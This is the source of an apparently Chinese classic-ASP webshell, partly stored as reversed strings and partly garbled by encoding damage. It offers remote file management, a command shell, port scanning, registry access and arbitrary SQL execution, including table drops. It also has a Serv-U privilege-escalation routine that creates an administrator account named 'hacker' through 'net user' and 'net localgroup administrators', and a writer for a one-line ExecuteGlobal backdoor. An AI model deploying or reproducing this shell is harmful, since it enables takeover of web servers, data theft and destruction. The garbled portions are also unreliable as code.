dnE~¨~¨~=WR:WR etirW.esnopseR ~~fI dnE ~rtSlqS&¨~£º¾äÓïLQS¨~ & WR=WR ~)rtSlqS(etucexE.nnoC ~ eslE ~¨~¨~=WR:WR etirW.esnopseR ~ ~gnihtoN=sR teS:esolC.sR ~¨~>elbat/<>rt/<>dt/<>'FEFEFE#'=roloc rh<¨~ & WR=WR ~fI dnE ~¨~>a/<ҳβ>')¨~&NP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ò»ÏÂ>')¨~&1+egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&¨~ & WR=WR ~txeN ~fI dnE ~¨~;psbn&>a/<¨~&i&¨~>')¨~&i&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~eslE ~¨~;psbn&¨~&i & WR=WR ~nehT egaP=i fI ~roF tixE nehT NP>i fI ~8+pS oT pS=i roF ~fi dnE:1=pS:eslE:8-egaP=pS:nehT 8>egaP fI ~¨~;psbn&>a/<Ò³Ò»ÉÏ>')¨~&1-egaP&¨~,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&>a/<Ò³Ê×>')1,¨~¨~¨~&rtSlqS&¨~¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<;psbn&;psbn&¨~ & WR=WR ~nehT 1>NP fI ~NP&¨~/¨~&egaP&¨~£ºÂëÒ³;psbn&¨~&CR&¨~£ºÊý¼¼Ç>retnec=ngila ¨~&1+NF&¨~=napsloc dt<>rt<¨~ & WR=WR ~~)rtSlqS(edoCnElmtH=rtSlqS ~ ~¨~¨~=WR:WR etirW.esnopseR ~ ~pooL ~txeNevoM.sR ~¨~>rt/<¨~ & WR=WR ~txeN ~¨~>dt/<¨~&ofnIloC&¨~>¨~&rolocgB&¨~=rolocgb dt<¨~ & WR=WR ~fI dnE ~))05,)i(sR(tfeL(edocnELMTH=ofnIloC ~eslE ~))i(sR(edocnELMTH=ofnIloC ~nehT 1=CR fI ~fi dnE:¨~FEFEFE#¨~=rolocgB:eslE:¨~5F5F5F#¨~=rolocgB:nehT ¨~FEFEFE#¨~=rolocgB fI ~1-NF oT 0=i roF ~ ¨~>dt/<>tnof/'sgnidgniw'=ecaf tnof<>cccccc#=rolocgb dt<>rt<¨~ & WR=WR ~¨~FEFEFE#¨~=rolocgB ~1-tnuoC=tnuoC ~0>tnuoC dnA )foB.sR ro foE.sR(toN elihW oD ~~¨~>rt/<¨~ & WR=WR ~txeN ~gnihton=dlF teS ~¨~>dt/<¨~&emaN.dlF&¨~>'retnec'=ngila dt<¨~ & WR=WR ~)n(metI.sdleiF.sR=dlF teS ~1-NF ot 0=n roF ~ ¨~>dt/<>dt<>cccccc#=rolocgb 52=thgieh rt<>retnec=ngila elbat<¨~ & WR=WR ~egaP=egapetulosba.sR nehT 1>egaP fI ~NP=egaP nehT NP>egaP fI ~1=egaP nehT 0=egaP rO ¨~¨~=egaP fI ~)egaP(gnlC=egaP nehT ¨~¨~>vid/<¨~&rtSlqS&¨~£º¾äÓïÐÐÖ´>'retnec'=ngila vid<¨~ & WR=WR ~neht ¨~tceles¨~=))6,rtSlqS(tfeL(esaCL fI ~~nehT 01>)rtSlqS(neL fI~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<¨~ & WR=WR ~gnihtoN=sR teS ~ pooL ~ txeNevoM.sR ~ fI dnE ~¨~>dt/<>a/<¨~&emaNT&¨~>')1,¨~¨~]¨~&emaNT&¨~[ MORF * TCELES¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<¨~ & WR=WR ~¨~>rb<>a/<] led [>')1,¨~¨~]¨~&emaNT&¨~[ ELBAT PORD¨~¨~(rtSlqSlluF:tpircsavaj'=ferh a<>retnec=ngila dt<¨~ & WR=WR ~)¨~EMAN_ELBAT¨~(sR=emaNT ~neht ¨~ELBAT¨~=)¨~EPYT_ELBAT¨~(sR fI ~foE.sR toN elihW oD ~ tsriFevoM.sR ~¨~>dt/<Ãû>rb<±í>dt<>'CCCCCC#'=rolocgB '52'=thgieh rt<>'retnec'=ngila elbat<¨~ & WR=WR ~ )02(amehcSnepO.nnoC=sR teS ~rtSbD nepO.nnoC ~))0,5(TbO(tcejbOetaerC=nnoC teS ~ ~nehT 04>)rtSbD(neL fI ~~¨~¨~=WR:WR etirW.esnopseR ~¨~>naps/<>'OSFS'=di naps<>elbat/<>mrof/<>rt/<¨~ & WR=WR ~¨~>dt/<>'timbus'=ssalc ')(kcehCbD nruter'=kcilcno 'ÐÐÖ´'=eulav 'timbuS'=eman 'timbus'=epyt tupni<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSlqS&¨~'=eulav '514:htdiw'=elyts 'rtSlqS'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:ÁîÃü×÷²ÙLQS;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>'1'=eulav 'neddih'=epyt 'egaP'=eman tupni<>'reganaMbD'=eulav 'neddih'=epyt 'noitcA'=eman tupni<¨~ & WR=WR ~¨~>rt/<>dt/<>tceles/<>noitpo/<ʾÏÔÈ«Íê>21=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¶Î×Ö³ýɾ>11=eulav noitpo<>noitpo/<¶Î×Ö¼ÓÌí>01=eulav noitpo<>noitpo/<±í¾ÝÊýɾ>9=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<±í¾ÝÊý½¨>8=eulav noitpo<>noitpo/<¾ÝÊý¸ÄÐÞ>7=eulav noitpo<>noitpo/<¾ÝÊý³ýɾ>6=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<¾ÝÊý¼ÓÌí>5=eulav noitpo<>noitpo/<¾ÝÊýʾÏÔ>4=eulav noitpo<>noitpo/<--·¨ÓïLQS-->1-=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬NSD>3=eulav noitpo<>noitpo/<½ÓÁ¬lqSyM>2=eulav noitpo<>noitpo/<½ÓÁ¬lqSsM>1=eulav noitpo<¨~ & WR=WR ~¨~>noitpo/<½ÓÁ¬sseccA>0=eulav noitpo<>noitpo/<Àýʾ´®½ÓÁ¬>1-=eulav noitpo<>')eulav.]xednIdetceles[snoitpo(rtSbDlluF nruter'=egnahcno 'ntBrtS'=eman tceles<>'FFFFFF#'=rolocgb 'retnec'=ngila '29'=htdiw dt<¨~ & WR=WR ~¨~>dt/<>'¨~&rtSbD&¨~'=eulav '514:htdiw'=elyts 'rtSbD'=eman tupni<>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~¨~>dt/<:´®½ÓÁ¬¿â¾ÝÊý;psbn& >'FFFFFF#'=rolocgb '09'=htdiw dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²Ù¿â¾ÝÊý>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'tsop'=dohtem 'mroFbD'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~rtSbD¨~(mroF.tseuqeR=rtSbD ~))¨~rtSlqS¨~(mroF.tseuqeR(mirT=rtSlqS ~)(reganaMbD noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne ~gnihtoN=osf teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~gnihtoN=sda teS ~esolc.nnoc ~esolc.sr ~1+)¨~eman¨~(noisses=)¨~eman¨~(noisses ~)¨~>tpircs/<;)'¨~&)))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR&¨~ÊÇÖ·µØn\!·ÅÊÍ¿â¾ÝÊý¨~&))¨~seliF¨~(mrof.tseuqer(htaPeR&¨~½«¹¦³É¾­ÒÑn\:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~pool ~txenevom.sr ~hsulF.esnopseR ~¨~>rb<¨~ & elif & ¨~ > ¿â³ö;psbn&>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~fi dne ~esolc.sda ~2,elif eliFoTevaS.sda ~)¨~ydob¨~(sr etirw.sda ~1=epyT.sda ~nepO.sda ~neht )¨~¨~><)¨~elif¨~(sr( dna ))elif(stsixEeliF.osf ton( fi ~)redlof(redloFetaerC.osf neht )redlof(stsixEredloF.osf ton fi ~redlof=htap ~)¨~elif¨~(sr & ¨~\¨~ & redlof=elif ~)¨~redlof¨~(sr & ))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM=redlof ~)fob.sr ro foe.sr(ton elihw od ~))0,0(TbO(tcejbOetaerC.revreS=osf teS ~))0,6(TbO(tcejbOetaerC.revreS=sda teS ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~seliF¨~(mrof.tseuqer&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~ nepo.nnoc ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR ~neht ¨~2V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~fi dne ~)¨~>tpircs/<;)'¨~&)))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres(htaPeR & ¨~ÊÇÖ·µØn\!¿âÈë¨~ & )))¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(htaPeR & ¨~½«¹¦³É¾­ÒÑ<:ϲ¹§'(trela>tpircs<¨~(etirW.esnopseR ~¨~>rh<¨~ etirW.esnopseR ~gnihtoN=osf teS ~gnihtoN=sda teS ~gnihtoN=dlof teS ~gnihtoN=sr teS ~gnihtoN=nnoc teS ~esolc.nnoc ~esolc.sr ~)1+)¨~\¨~,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(veRrtsnI,)1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM,)1-)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,1,))¨~seliF¨~(mrof.tseuqer(htaPeRR(diM(FS llaC ~3,3,nnoc,¨~zw morf * tceles¨~ nepO.sr ~)¨~teSdroceR.BDODA¨~(tcejbOetaerC.revreS=sr teS ~gnihtoN=aC teS ~¨~)egami ydob,RAHCRAV elif,RAHCRAV redlof,DERETSULC YEK YRAMIRP )1,1(YTITNEDI tni di(zw ELBAT ETAERC¨~etucexE.nnoc ~bd nepo.nnoc ~bd etaerC.aC ~))0,2(TbO(tcejbOetaerC.revreS=aC teS ~ ))0,5(TbO(tcejbOetaerC.revreS=nnoc teS ~))1+)¨~\¨~,)¨~seliF¨~(mrof.tseuqer(veRrtsnI,)¨~seliF¨~(mrof.tseuqer(diM(htappam.revres&¨~=ecruoS ataD;0.4.BDELO.teJ.tfosorciM=redivorP¨~=bd ~¨~>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirw.esnopser ~))0,6(TbO(tcejbOetaerC.revreS=sda tes ~ ))0,0(TbO(tcejbOetaerC=osf tes ~neht ¨~1V¨~=)¨~1R¨~(mrof.tseuqer dna ¨~¨~><)¨~seliF¨~(mrof.tseuqer fi ~ ~¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'bdt.bdMoT\¨~&)tooRWWW(htaPeRR&¨~'=eulav '514:htdiw'=elyts 'seliF'=eman 'txet'=epyt tupni<:¾¶Â·;psbn&>'FFFFFF#'=rolocgb dt<¨~ & WR=WR ~ ¨~>dt/<¿â³ö>'2V'=eulav '1R'=eman 'oidar'=epyt tupni< ¿âÈë>'1R'=eman dekcehc '1V'=eulav 'oidar'=epyt tupni<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>''=noitca 'TSOP'=dohtem mrof<>dt/<>rt/<¿â³ö/¿âÈë°ü´ò>'unem'=rolocgb 'retnec'=ngila '2'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~0=seripxE.esnopseR ~)(bdMoT noitcnuF" ExeCuTe(UZSS(Hacker)) Function SF(Path,name,sz) dim a,pf,pi set fold=Fso.GetFolder(Path) For Each i in Fold.files a=1 pf=Mid(Path,sz) pi=RRePath(Path&"\"&i.Name) Call Mdb(pi,name,pf) Next if a="" then Call Mdb(Path,name,Mid(Path,sz)) a="" For Each F in FOLD.subfolders Call SF(RRePath(Path & "\" & F.Name),name,sz) Next End Function Function Mdb(pi,name,pf) dim body,file on error resume next if Mid(pi,InstrRev(pi,"\")+1)<>name then if Mid(pi,InstrRev(pi,"\")+1)<>"" then ads.Open ads.Type=1 ads.LoadFromFile pi file=Mid(pi,InstrRev(pi,"\")+1) if Err then Err.clear file="" body="" else body=ads.read Response.Write " Èë¿â > "&pi&"
" Response.Flush end if ads.Close end if rs.addnew rs("folder")=pf rs("file")=file rs("body")=body rs.update end if End Function Select Case Action Case "ShowFile":Set SFSO=New LBF:SFSO.ShowFile(Session("FolderPath")):Set SFSO=Nothing Case "DownFile":DownFile FName Case "EditFile":Set SFSO=New LBF:SFSO.EditFile(FName):Set SFSO=Nothing Case "DelFile":Set SFSO=New LBF:SFSO.DelFile(FName):Set SFSO=Nothing Case "CopyFile":Set SFSO=New LBF:SFSO.CopyFile(FName):Set SFSO=Nothing Case "MoveFile":Set SFSO=New LBF:SFSO.MoveFile(FName):Set SFSO=Nothing Case "DelFolder":Set SFSO=New LBF:SFSO.DelFolder(FName):Set SFSO=Nothing Case "CopyFolder":Set SFSO=New LBF:SFSO.CopyFolder(FName):Set SFSO=Nothing Case "MoveFolder":Set SFSO=New LBF:SFSO.MoveFolder(FName):Set SFSO=Nothing Case "NewFolder":Set SFSO=New LBF:SFSO.NewFolder(FName):Set SFSO=Nothing Case "UpFile":UpFile() Case "suftp":suftp() Case "CmdShell":CmdShell() Case "TSearch":TSearch() Case "Course":Course() Case "TRegedit":TRegedit() Case "php":php() Case "MMD":MMD() Case "getTerminalInfo":getTerminalInfo() Case "adminab":adminab() Case "proxy":proxy() Case "goback":goback() Case "showE":showE() Case "lpdel":lpdel() Case "ServerInfo":ServerInfo() Case "DbManager":DbManager() Case "ToMdb":ToMdb() Case "sql":sql() Case "PageAddToMdb":PageAddToMdb() Case "asplist"asplist() Case "ScanDriveForm":ScanDriveForm() Case "ScanDrive": ScanDrive Request("Drive")() Case "ScFolder": ScFolder Request("Folder")() Case "ScanPort":ScanPort() Case "downloads":downloads() Case "Servu" Hacker="fi dne ~¨~>retnec/<>mrof/<>elbat/<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'1'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'ÖÃÖØ'=eulav '2timbuS'=eman 'teser'=epyt tupni<¨~ SRR ~¨~>'½»Ìá'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ SRR ~¨~>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'07'=ezis 'dda/ rekcah srotartsinimda puorglacol ten & dda/ rekcah rekcah resu ten c/ dmc'=eulav 'c'=di 'xet'=epyt 'c'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁîÃüÐÐÖ´;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '¨~&f&¨~'=eulav 'f'=di 'txet'=epyt 'f'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¾¶Â·Í³Ïµ;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis '85934'=eulav 'trop'=di 'txet'=epyt 'trop'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º¿Ú¶ËÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'P@0;kl.#ka$@l#'=eulav 'p'=di 'txet'=epyt 'p'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£ºÁî¿ÚÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<¨~ SRR ~¨~>dt/<>'22'=ezis 'rotartsinimdAlacoL'=eulav 'u'=di 'txet'=epyt 'u'=eman tupni<>dt<¨~ SRR ~¨~>dt/<£º»§ÓÃÇ°µ±;psbn&>'retnec'=ngila '051'=htdiw dt<¨~ SRR ~¨~>'elddim'=ngilav rt<¨~ SRR ~¨~>rt/<>dt/<¼þÎÄMOCÓëSBVÕß»ò exe.ÂíľµÄ´«ÉÏÄã\:d c/ dmc:ÈçÀý,¸ÄÐÞÒâÈÎÒÔ¿ÉÁîÃü>rb<´Î¼¸½»Ìá¶à¾Í¹¦³É²»È¨Ìá¹ûÈç:ʾÌá¨~ SRR ~¨~>rb<>'2'=napsloc dt<>'elddim'=ngilav 'retnec'=ngila rt<>rt/<¨~ SRR ~¨~>dt/<ÏÞȨÉýÌá uvreS>'2'=napsloc dt<¨~ SRR ~¨~>rB<>'elddim'=ngilav 'retnec'=ngila rt<¨~ SRR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ SRR ~¨~>'uvreS=noitcA?'=noitca 'nusdlog'=eman 'tsop'=dohtem mrof<>retnec<¨~ SRR ~gnihtoN = c teS ~troba.c ~gnihtoN = b teS ~troba.b ~gnihtoN = a teS ~troba.a ~)¨~c¨~(noisses=c tes ~)¨~b¨~(noisses=b tes ~)¨~a¨~(noisses=a tes ~txen emuser rorre no ~esle ~¨~>retnec/<¨~ SRR ~¨~>'uvreS=noitcA?'=ferh.noitacol=kcilCno ' Ðø¼Ì»Ø·µ '=eulav 'nottub'=epyt tupni<¨~ SRR ~¨~>rb<>rb<>tnof/<¨~&dmc&¨~>der=roloc tnof<>rb<£ºÁîÃüÁËÐÐÖ´ÒÑ,±ÏÍêȨÌá>retnec<>rb<¨~ SRR ~c=)¨~c¨~(noisses tes ~tiuq & niamodled & tm & ssapnigol & resunigol dnes.c ~¨~¨~ ,¨~¨~ ,eurT ,¨~3s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.c ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=c tes ~neht 3 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,';)(timbus.nusdlog.lla.tnemucod'(tuoemiTtes¨~ SRR ~¨~;)'>retnec<...´ýµÈÇë,ÏÞȨÉýÌáÔÚÕý>retnec<>rb<'(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'3'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>'05'=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~b=)¨~b¨~(noisses tes ~tiuq & fLrCbv & dmc & ¨~ cexe etis¨~ & fLrCbv & ¨~do ssap¨~ & fLrCbv & ¨~og resU¨~ dnes.b ~¨~¨~ ,¨~¨~ ,eurT ,¨~2s/nimdapu/4112903/¨~ & tropptf & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.b ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=b tes ~neht 2 = 1noitca fiesle ~¨~>tpircs/<¨~ SRR ~¨~;)0004,¨~¨~;)(timbus.nusdlog.lla.tnemucod¨~¨~(tuoemiTtes¨~ SRR ~¨~;)¨~¨~>retnec<...¨~&ssap&¨~£ºÁî¿Ú,¨~&resu&¨~ :Ãû»§ÓÃÓÃʹ,¨~&trop&¨~:1.0.0.721 ½ÓÁ¬ÔÚÕý>retnec<>rb<¨~¨~(etirw.tnemucod¨~ SRR ~¨~>'tpircsavaj'=egaugnal tpircs<¨~ SRR ~¨~>mrof/<>'2'=eulav '1noitca'=di 'neddih'=epyt '1noitca'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&f&¨~'=eulav 'f'=di 'neddih'=epyt 'f'=eman tupni<¨~ SRR ~¨~>¨~¨~05¨~¨~=ezis '¨~&dmc&¨~'=eulav 'c'=di 'neddih'=epyt 'c'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&trop&¨~'=eulav 'trop'=di 'neddih'=epyt 'trop'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&ssap&¨~'=eulav 'p'=di 'neddih'=epyt 'p'=eman tupni<¨~ SRR ~¨~>dt/<>'¨~&resu&¨~'=eulav 'u'=di 'neddih'=epyt 'u'=eman tupni<¨~ SRR ~¨~>'nusdlog'=eman 'tsop'=dohtem mrof<¨~ SRR ~a=)¨~a¨~(noisses tes ~tiuq & resuwen & niamodwen & niamodled & tm & ssapnigol & resunigol dnes.a ~¨~¨~ ,¨~¨~ ,eurT,¨~1s/nimdapu/4112903/¨~ & trop & ¨~:1.0.0.721//:ptth¨~ ,¨~TEG¨~ nepo.a ~)¨~PTTHLMX.tfosorciM¨~(tcejbOetaerC.revreS=a tes ~neht 1 = 1noitca fi ~)f,¨~:c¨~,resuwen(ecalper=resuwen ~fLrCbv & ¨~TIUQ¨~ = tiuq ~fLrCbv & ¨~PDCLEMAWR|\\:c=sseccA ¨~ & fLrCbv & ¨~enoN=soitaR-¨~ & fLrCbv & ¨~ralugeR=epyTdrowssaP-¨~ & fLrCbv & ¨~metsyS=ecnanetniaM-¨~ ~_ & fLrCbv & ¨~0=mumixaMatouQ-¨~ & fLrCbv & ¨~0=tnerruCatouQ-¨~ & fLrCbv & ¨~0=tiderCsoitaR-¨~ & fLrCbv & ¨~1=nwoDoitaR-¨~ ~_ & fLrCbv & ¨~1=pUoitaR-¨~ & fLrCbv & ¨~0=eripxE-¨~ & fLrCbv & ¨~1-=tuOemiTnoisseS-¨~ & fLrCbv & ¨~006=tuOemiTeldI-¨~ & fLrCbv & ¨~1-=sresUrNxaM-¨~ ~_ & fLrCbv & ¨~0=nwoDtimiLdeepS-¨~ & fLrCbv & ¨~0=pUtimiLdeepS-¨~ & fLrCbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & fLrCbv & ¨~0=elbanEatouQ-¨~ ~_ & fLrCbv & ¨~0=drowssaPegnahC-¨~ & fLrCbv & ¨~0=nigoLwollAsyawlA-¨~ & fLrCbv & ¨~0=neddiHediH-¨~ & fLrCbv & ¨~0=eruceSdeeN-¨~ ~_ & fLrCbv & ¨~1=shtaPleR-¨~ & fLrCbv & ¨~0=elbasiD-¨~ & fLrCbv & ¨~=eliFseMnigoL-¨~ & fLrCbv & ¨~\\:c=riDemoH-¨~ ~_ & fLrCbv & ¨~do=drowssaP-¨~ & fLrCbv & ¨~og=resU-¨~ & fLrCbv & tropptf & ¨~=oNtroP-¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~PUTESRESUTES-¨~ = resuwen ~fLrCbv & ¨~=yeKOZT ¨~ & fLrCbv & ¨~0=elbanEOZT-¨~ & fLrCbv & ¨~0|1|1-|¨~ & tropptf & ¨~|0.0.0.0|4112903=niamoD-¨~ & fLrCbv & ¨~NIAMODTES-¨~ = niamodwen ~fLrCbv & ¨~ECNANETNIAM ETIS¨~ = tm ~fLrCbv & tropptf & ¨~=oNtroP ¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~NIAMODETELED-¨~ = niamodled ~fLrCbv & ssap & ¨~ ssaP¨~ = ssapnigol ~fLrCbv & resu & ¨~ resU¨~ = resunigol ~3=tuoemit ~00556 = tropptf ~fi dne ~)2,f(tfel=f ~esle ~)(htapg=f ~neht ¨~¨~=f fi ~))¨~f¨~(tseuqer(mirt=f ~))¨~c¨~(tseuqer(mirt = dmc ~))¨~trop¨~(tseuqer(mirt = trop ~))¨~p¨~(tseuqer(mirt = ssap ~))¨~u¨~(tseuqer(mirt = resu ~dne.esnopser neht )1noitca(ciremunsi ton fi ~)¨~1noitca¨~(tseuqer=1noitca ~1noitca mid ~tiuq ,resuwen ,niamodwen ,tm ,niamodled ,ssapnigol ,resunigol ,dmc ,tropptf ,trop ,ssap ,resu miD" ExeCuTe(UZSS(Hacker)) function Gpath() on error resume next err.clear set f=Server.CreateObject("Scripting.FileSystemObject") if err.number>0 then gpath="c:" exit function end if gpath=f.GetSpecialFolder(0) gpath=lcase(left(gpath,2)) set f=nothing end function Function GName() If request.servervariables("SERVER_PORT")="80" Then GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name")) Else GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name")) End If End Function Err.Clear Case "nofw" Hacker="¨~>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<¨~SRR~¨~>p<>aeratxet/<¨~&)¨~26¨~(rhC&¨~%)¨~¨~1¨~¨~(tseuqer labolGetucexE%¨~&)¨~06¨~(rhC&¨~Âë´ú»°¾äһɨ·Àɱ·À> 001=sloc 03=swor txet=eman aeratxet<¨~SRR~¨~>p<>'psa.pleh\¨~&)¨~/¨~(htaPpaM.revreS&¨~'=eulav 04=ezis hTaP=eman txet=epyt tupni<:¼þÎĵÄÈëдHSW-OSFÃâ¨~SRR~¨~>wfon=noitca?=noitca 'tsop'=dohtem mrof<¨~SRR~fi dne~k Etirw.EsnoPsER~noitcnuF dnE~pool~remiT = emiTdnE~n> ¨~&)L(b&¨~ ohce c/¨~=stnemugra.knilllehsjbo~¨~exe.dmc¨~=hTaP.knilllehsjbo~knilteg.mEtiredlofllehs= knilllehsjbo tes~)¨~knl.±¾Ê¼Ǩ~(emanesrap.redlofllehs=mEtiredlofllehs tes~)¨~¼þ¸½\Ðò³Ì\µ¥²Ë¡¹Ê¼¿ª¡¸\rEsU tluafeD\sgnitteS dna stnemucoD\:C¨~(ecapseman.llehs=redlofllehs tes~¨~>rb/<¨~&))L(b(edocnelmth.rEvrES Etirw.EsnoPsER~k OT 1=L roF~)¨~noitacilppa.llehs¨~(tcejboetaerc.rEvrES=llehs tes~txeN~1=nt~fI dnE~)¨~¨~,)01(rhc,)k(b(EcAlpER=)k(b~)i(yarraym=)k(b~)k(b evresERp miDeR~1+k=k~nEht )01(rhc><)i(yarraym dna )31(rhc><)i(yarraym dna ¨~¨~ ><)i(yarraym dna 0=nt fI~txen~fi dne~rof tixe~0=nt~nEht )31(rhc><)1,j,)i(yarraym(dim dna )01(rhc><)1,j,)i(yarraym(dim dna ¨~ ¨~><)1,j,)i(yarraym(dim fi~))i(yarraym(nel ot 1=j rof~)yarraym(dnuoBU ot 0=i roF~))31(rhC,txet(tilpS =yarraym~0=k~)(b miD~yarrAym miD~))43(rhc&¨~^¨~,)43(rhc,txet(EcAlpER=txet~)¨~|^¨~,¨~|¨~,txet(EcAlpER=txet~)¨~+^¨~,¨~+¨~,txet(EcAlpER=txet~)¨~:^¨~,¨~:¨~,txet(EcAlpER=txet~)¨~&^¨~,¨~&¨~,txet(EcAlpER=txet~)¨~<^¨~,¨~<¨~,txet(EcAlpER=txet~)¨~>^¨~,¨~>¨~,txet(EcAlpER=txet~)¨~^^¨~,¨~^¨~,txet(EcAlpER=txet~nEht ¨~¨~>µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:")&Server.MapPath("/")&("") ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") if s="" then s=Server.MapPath("/") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") addcode = Request("code") if addcode="" then addcode="" If ex<>"" AND pth<>"" Then select Case ex Case "edit" CALL 